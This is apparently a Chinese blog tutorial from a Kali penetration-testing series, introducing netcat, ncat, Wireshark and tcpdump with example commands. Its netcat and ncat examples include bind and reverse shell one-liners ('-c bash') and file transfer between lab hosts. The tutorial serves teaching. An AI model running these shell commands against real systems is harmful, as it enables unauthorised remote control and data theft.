@


本系列侧重方法论,各工具只是实现目标的载体。

命令与工具只做简单介绍,其使用另见《安全工具录》。

本文以 kali-linux-2022.3-vmware-amd64 为例。

1:基本工具

1.1:NetCat

NetCat(又称为 " nc ")被广泛用于计算机网络之间的数据传输和网络调试。允许用户通过 TCP 或 UDP 协议发送和接收数据。

功能描述:

  • 网络工具中的瑞士军刀
  • 侦听模式/传输模式
  • 传输文本信息
  • 传输文件/目录
  • 远程控制/木马
  • 流媒体服务器
  • 远程克隆硬盘

NC 缺乏加密和身份验证的能力

不同系统或平台的 NetCat 命令不尽相同。

1.1.1:命令参数

基本语法:

nc [选项]

常用选项:

参数 说明 例
-h 显示帮助信息和参数选项。 nc -h
-l 监听模式,等待连接请求到达指定的端口。 nc -l 5555
详见示例01
-p 端口 指定要使用的端口号。
-v 显示详细的输出信息。 nc -v baidu.com 80
-n 使用 IP 地址时不进行 DNS 反向解析。 nc -n 1.1.1.20 5555
-q 数字 指定连接建立或数据传输时的等待时间(单位:秒)。 详见示例02
-z 端口扫描,默认使用 TCP 协议,无需建立实际连接。可指定端口范围。
-u 指定使用 UDP 协议进行数据传输。
-c 命令或shell 执行命令。可用于远程控制。 详见示例06、07

常用组合:

参数组合 说明 例
-nv 主要用于建立连接 nc -nv 1.1.1.20 3333
-nvz TCP 端口扫描 nc -nvz 1.1.1.20 1-65535
-nvzu UDP 端口扫描 nc -nvzu 1.1.1.20 1-1024

1.1.2:示例

  • 示例01:⽂本信息传输。

操作:

先在一台主机上开启端口监听,再使用另一台主机连接。即可通信。

一、ubuntu(1.1.1.20):

nc -l [-p] 3333

二、kali(1.1.1.10):

nc -nv 1.1.1.20 3333

结果:

  • 示例02:监听信息并保存。

操作:

一、kali(1.1.1.10):

nc -l [-p] 3333 > ps.txt

二、ubuntu(1.1.1.20):

ps aux | nc -nv 1.1.1.10 3333 -q 1

结果:

在 ubuntu 执行 ps aux 的结果会被保存在 kali 上的 ps.txt 。且完成后一秒自动断开连接。

  • 示例03:主动传输文件。

操作:

一、kali(1.1.1.10):

nc -l 3333 > 1.txt

二、ubuntu(1.1.1.20):

nc -nv 1.1.1.10 3333 < 2.txt -q 1

结果:

ubuntu 上的 2.txt 文件传输到 kali 并被保存为 1.txt 。

  • 示例04:被动接收文件。

操作:

一、kali(1.1.1.10):

nc -q 1 -l 3333 < 1.txt

二、ubuntu(1.1.1.20):

nc -nv 1.1.1.10 3333 > 2.txt

结果:

kali 上的 1.txt 文件被 ubuntu 接收并被保存为 2.txt 。

  • 示例05:目录传输。

操作:

一、ubuntu(1.1.1.20):

tar -cvf - /test/ | nc -lp 3333 -q 1

二、kali(1.1.1.10):

nc -nv 1.1.1.20 333 | tar -xvf -

结果:

ubuntu 上的 /test/ 目录传输到 kali 上。

  • 示例06:远程控制(被动连接)。

操作:

一、ubuntu(1.1.1.20):

nc -lp 3333 -c bash

二、kali(1.1.1.10):

nc 1.1.1.20 3333

结果:

ubuntu 被 kali 连接,kali 可远程执行 linux 命令。

注:Windows 用户可以把 bash 改成 cmd 。

  • 示例07:远程控制(主动连接)。

操作:

一、kali(1.1.1.10):

nc -lp 3333

二、ubuntu(1.1.1.20):

nc 1.1.1.10 3333 -c bash

结果:

ubuntu 主动连接 kali,kali 可远程执行 linux 命令。

1.2:NCat

NCat是 Nmap 网络扫描器项目的一部分。可以视为 NetCat 工具的加强版。许多命令都与 NetCat 一致。

功能描述:

  • 支持 SSL 和 TLS 加密协议。
  • 支持身份验证,包括基于用户名和密码的身份验证。

1.2.1:命令参数

基本语法:

ncat [选项]

常用选项:

NCat许多命令都与 NetCat 一致。这里只列出特别的参数。

参数 说明 例
--allow 访问控制。限制允许连接的 IP 地址范围。 详见示例01
--ssl 使用SSL/TLS加密连接。 详见示例01

1.2.2:示例

  • 示例01:

操作:

一、ubuntu(1.1.1.20):

ncat -c bash --allow 1.1.1.10 -vnl 3333 --ssl

二、kali(1.1.1.10):

ncat -nv 1.1.1.20 3333 --ssl

结果:

ubuntu 允许来自 IP 地址为 1.1.1.10 的主机连接。连接建立后执行 Bash 命令,并使用 SSL/TLS 加密进行连接。

1.3:WireShark

WireShark 是一款开源抓包软件,常用来检测网络问题、攻击溯源、或者分析底层通信机制(抓包嗅探、协议分析。)

基本使用方法:

这里只介绍大致过程。具体细节网络教学很多。

  • 启动
  • 选择抓包网卡
  • 实时抓包
  • 保存或分析捕获文件
  • 首选项配置(添加展示信息,调整喜好的展示格式等)

筛选器:

用于过滤数据包。

  • 抓包筛选器
  • 显示筛选器

常见协议包:

需要熟悉常见协议数据包的分层结构。

数据流:

有时一个请求涉及多个包,一个一个查看很麻烦。这时追踪数据流可以方便查看涉及到的数据包信息。(追踪流)

信息统计:

WireShark 提供了一些信息统计功能。

  • 节点数
  • 协议分布
  • 包大小分布
  • 会话连接
  • 解码方式
  • 专家系统

1.4:TCPdump

TCPdump 是一款命令行抓包分析工具。Linux、Unix 系统默认安装。

1.4.1:命令参数

基本语法:

tcpdump [选项]

常用选项:

参数 说明 例
-i 网络接口 指定要监听的网络接口。 tcpdump -i eth0
详见示例01
-s 数字 指定捕获数据包的最大长度(单位:字节。0 表示抓取所有)。默认为 64。 tcpdump -s 100
详见示例02
-w 文件 将捕获的数据包写入文件。 tcpdump -w test.pcap
详见示例02
-r 文件 从文件中读取数据包进行分析。 tcpdump -r test.pcap
详见示例05、06、07
-A 以 ASCII 形式显示数据包内容。
-X 以十六进制和 ASCII 形式显示数据包内容。 详见示例06
-v[v][v] 显示详细信息,“ v ” 越多越详细。
-n 显示 IP 地址和端口号,不进行 DNS 解析。 详见示例05、06
src host ip地址 过滤条件。指定源主机。 详见示例04、05
dst host ip地址 过滤条件。指定目的主机。
port 端口 过滤条件。指定端口。 详见示例06、07
tcp 过滤条件。指定 TCP 协议。 tcpdump tcp
详见示例07
udp 过滤条件。指定 UDP 协议。

过滤条件可用 “ or ” 和 “ and ” 连接。

除了以上基础筛选过滤条件之外,TCPdump 还提供了高级筛选:

示例:

tcpdump -A -n 'tcp[13] = 24' -r http.cap

1.4.2:示例

  • 示例01:开启抓包

操作:

tcpdump -i eth0

结果:

  • 示例02:抓取数据包所有内容,并保存在 test.pcap 文件

tcpdump -i eth0 -s 0 -w test.pcap

  • 示例03:查看抓包文件摘要信息

tcpdump -r test.pcap

  • 示例04:抓取指定源地址的数据包

tcpdump src host 192.168.0.1 or src host 192.168.0.2

  • 示例05:查看抓包文件中指定源地址的信息。

tcpdump -n src host 145.254.160.237 -r test.pcap

  • 示例06:查看抓包文件中指定端口的信息,并以十六进制和 ASCII 形式显示数据包内容。

tcpdump -nX port 53 -r test.pcap

  • 示例07:查看抓包文件中指定 tcp 端口的信息。

tcpdump tcp port 53 -r test.pcap

2:其他

渗透测试中有时需要团队资源共享,因此需要一些软件来协助团队合作。

包括但不限于以下两点:

  • 数据文件共享

可以选择合适的软件以便于交换已获得的信息。

  • 重要数据加密

选择合适的软件对重要的数据文件(如获得的漏洞信息等)加密存储。以免泄露造成损失。


落花有意随流水,流水无心恋落花。

——《警世通言》(明)冯梦龙

《Kali渗透基础》02. 基本工具的更多相关文章

  1. kali渗透-基础篇

    渗透之meterpreter 模拟场景:小明是我室友,整天游戏人生,浑浑噩噩,前途迷茫,每次上课交作业都要看我的,于是我开启了apche服务器,给他下载作业(别问我为什么不用QQ传,因为要装逼!),他 ...

  2. Kali Linux渗透基础知识整理(四):维持访问

    Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...

  3. Kali Linux渗透基础知识整理(二)漏洞扫描

    Kali Linux渗透基础知识整理系列文章回顾 漏洞扫描 网络流量 Nmap Hping3 Nessus whatweb DirBuster joomscan WPScan 网络流量 网络流量就是网 ...

  4. 小白日记20:kali渗透测试之后渗透测试阶段(一)--上传工具

    后渗透测试阶段--上传工具 为防止管理员将漏洞补上后,我们无法再通过该漏洞控制对方主机,所以需要进行后渗透测试阶段 1.上传各种工具 2.提权:为了全面控制目标系统 3.擦除攻击痕迹:防止管理员通过日 ...

  5. kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail

    kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail 相关链接:https://www.bbsmax.com/A/xl569l20Jr/ http://4hou.win/wordp ...

  6. 基础认证伪造工具phishery

    基础认证伪造工具phishery   基础认证(Basic Authentication)被广泛应用内部网站.路由器等Web应用中.用户必须填写对应的用户名.密码才能访问Web资源.Kali Linu ...

  7. 渗透脚本快速生成工具Intersect

    渗透脚本快速生成工具Intersect   当渗透人员获取目标系统的执行权限,往往需要编写相应的脚本,实现更多的渗透操作.Kali Linux提供一款Python脚本快速生成工具Intersect.该 ...

  8. kali渗透综合靶机(一)--Lazysysadmin靶机

    kali渗透综合靶机(一)--Lazysysadmin靶机 Lazysysadmin靶机百度云下载链接:https://pan.baidu.com/s/1pTg38wf3oWQlKNUaT-s7qQ提 ...

  9. kali渗透综合靶机(十八)--FourAndSix2靶机

    kali渗透综合靶机(十八)--FourAndSix2靶机 靶机下载地址:https://download.vulnhub.com/fourandsix/FourAndSix2.ova 一.主机发现 ...

  10. kali渗透综合靶机(十五)--Breach-1.0靶机

    kali渗透综合靶机(十五)--Breach-1.0靶机 靶机下载地址:https://download.vulnhub.com/breach/Breach-1.0.zip 一.主机发现 1.netd ...

随机推荐

  1. JSPModel

    JSPModel what JSP开发模型就是JSP Model,是用JSP语言写的 why 为了更好地使用jsp技术开发 How JSPModel1 Why 因为在jsp开发中,包含了数据处理/业务 ...

  2. Charles一文全明白

    自从用上了Mac本,抓包工具也从Fiddler换成了Charles,用了这么长时间,也是该对Charles做一个总结了,避免自己下次配置的时候又忘记怎么操作 1.Charles是什么? Charles ...

  3. 代码随想录算法训练营Day38 动态规划

    代码随想录算法训练营 代码随想录算法训练营Day38 动态规划|理论基础 509. 斐波那契数 70. 爬楼梯 746. 使用最小花费爬楼梯 理论基础 动态规划,英文:Dynamic Programm ...

  4. 第一课 使用开发者模式快速入门 Odoo 13

    Odoo提供了一个快速应用开发框架,非常适合创建商业应用.这类应用通常用于保留业务记录,增删改查操作.Odoo 不仅简化了这类应用的创建,还提供了看板.日历.图表等视图的丰富组件,用于创建好看的用户界 ...

  5. IntelliJ IDEA 的初次使用--/护头

    IntelliJ IDEA 的使用 使用前先完成以下两点 环境配置 Win10环境配置(二) --Java篇 软件安装 IntelliJ IDEA 的安装 在完成软件安装,打开软件的瞬间,我是懵逼的. ...

  6. k8s~RKE的方式升级Rancher集群

    kubectl安装 在主机或者远程访问的笔记本上安装kubectl命令行工具 rancher-cluster.yml(RKE配置文件) 通过RKE创建kubernetes集群,需要预先设置ranche ...

  7. 手记系列之六 ----- 分享个人使用kafka经验

    前言 本篇文章主要介绍的关于本人从刚工作到现在使用kafka的经验,内容非常多,包含了kafka的常用命令,在生产环境中遇到的一些场景处理,kafka的一些web工具推荐等等.由于kafka这块的记录 ...

  8. 浅聊一下 C#程序的 内存映射文件 玩法

    一:背景 1. 讲故事 前段时间训练营里有朋友问 内存映射文件 是怎么玩的?说实话这东西理论我相信很多朋友都知道,就是将文件映射到进程的虚拟地址,说起来很容易,那如何让大家眼见为实呢?可能会难倒很多人 ...

  9. 互动无极限:在线免费ChatGPT聊天工具-gpt4

    在现代社会中,聊天交流已变得越来越普遍,并且不断发展成新的形式和类型.而如今,通过使用人工智能技术,我们可以更加便捷地进行自然的对话交流.那么,提供在线免费使用的ChatGPT聊天工具是否可以满足各种 ...

  10. 使用Ajax进行数据请求

    ​ 一.Ajax开源库有很多选择,大家可以根据需求自己选择 jQuery:jQuery是一个广泛应用的JavaScript库,它提供了简洁而强大的API来处理Ajax请求.通过$.ajax()方法或其 ...